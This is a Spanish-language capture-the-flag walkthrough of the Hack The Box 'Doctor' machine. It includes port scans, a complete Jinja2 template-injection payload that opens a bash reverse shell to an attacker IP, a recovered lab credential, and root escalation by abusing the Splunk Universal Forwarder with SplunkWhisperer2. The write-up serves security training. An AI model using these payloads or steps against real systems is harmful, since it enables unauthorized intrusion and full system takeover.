Doctor

Doctor
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Easy 26 Setiembre 2020 egotisticalSW

Escaneo de puertos

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.209
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 05:00 -03
Initiating SYN Stealth Scan at 05:00
Scanning 10.10.10.209 [65535 ports]
Discovered open port 22/tcp on 10.10.10.209
Discovered open port 80/tcp on 10.10.10.209
Discovered open port 8089/tcp on 10.10.10.209
Completed SYN Stealth Scan at 05:01, 27.01s elapsed (65535 total ports)
Nmap scan report for 10.10.10.209
Host is up, received user-set (0.27s latency).
Scanned at 2025-04-13 05:00:36 -03 for 27s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
8089/tcp open  unknown syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.09 seconds
           Raw packets sent: 131083 (5.768MB) | Rcvd: 28 (1.896KB)

Enumeración de versión y servicio

nmap -sCV -p22,80,8089 -oN servicesScan 10.10.10.209
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 05:01 -03
Nmap scan report for 10.10.10.209 (10.10.10.209)
Host is up (0.20s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: splunkd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.58 seconds

Explotación inicial

echo '10.10.10.209 doctors.htb' >> /etc/hosts

HTTP (80)

Doctor

Doctor

Doctor

Podemos crear nuevos post.

Doctor

Doctor

SSTI

Si miramos el código fuente de el formulario para crear un nuevo mensaje, nos encontramos con algo interesante. Menciona una ruta llamada /archive.

Doctor

Si accdenis a la ruta y miramos el código fuente, nos encontramos con los siguiente:

Doctor

Creamos un post donde el titulo sea {{7*7}}.

Doctor

Vemos que no se esta interpretando.

Doctor

Pero, si volvemos a ingresar al /archive y miramos el código fuente, vemos que nos da como resultado 49 lo cual indica que esta intepretando la operación y que es vulnerable a STTI.

Doctor

Lanzamos una reverse shell.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'").read()}}{%endif%}{%endfor%}

Doctor

Doctor

El usuario web pertence al grupo adm por lo que puede leer archivos de logs.

Doctor

Doctor

Shaun

shaun:Guitar123

Doctor

HTTPS (8089) - Splunk v8.0.5

Doctor

Leemos el flag de user

Doctor

Escalación de privilegios root

Pensando en la enumeración inicial, hay una instancia de Splunk Forwarder corriendo en el puerto 8089.

Buscando en internet las palabras clave splunk universal forwarder exploit, aparece este artículo que detalla el uso de Splunk Whisperer2 para obtener una shell como el usuario root.

Esto es posible porque el Splunk Universal Forwarder incluye un servicio de gestión que escucha en el puerto 8089 y por defecto permite conexiones remotas.
Este servicio de gestión puede ser usado para enviar comandos individuales o scripts a los agentes del Universal Forwarder a través de la API de Splunk.

⚠️ Los agentes UF (Universal Forwarder) no validan que las conexiones provengan de un servidor válido de Splunk Enterprise, ni validan que el código esté firmado o sea legítimo del servidor de Splunk.

La explotación se basa en que el Universal Forwarder se esté ejecutando como root.

Vamos a verificar si esto es así.

ps -aux | grep splunk

Doctor

git clone https://github.com/cnotin/SplunkWhisperer2
cd SplunkWhisperer2/PySplunkWhispherer2/

Doctor

Debemos indicar las credenciales, en este caso las credenciales de shaun.

Doctor

Lanzamos una reverse shell.

Doctor

Doctor

Post Explotación

Leemos el flag de root

Doctor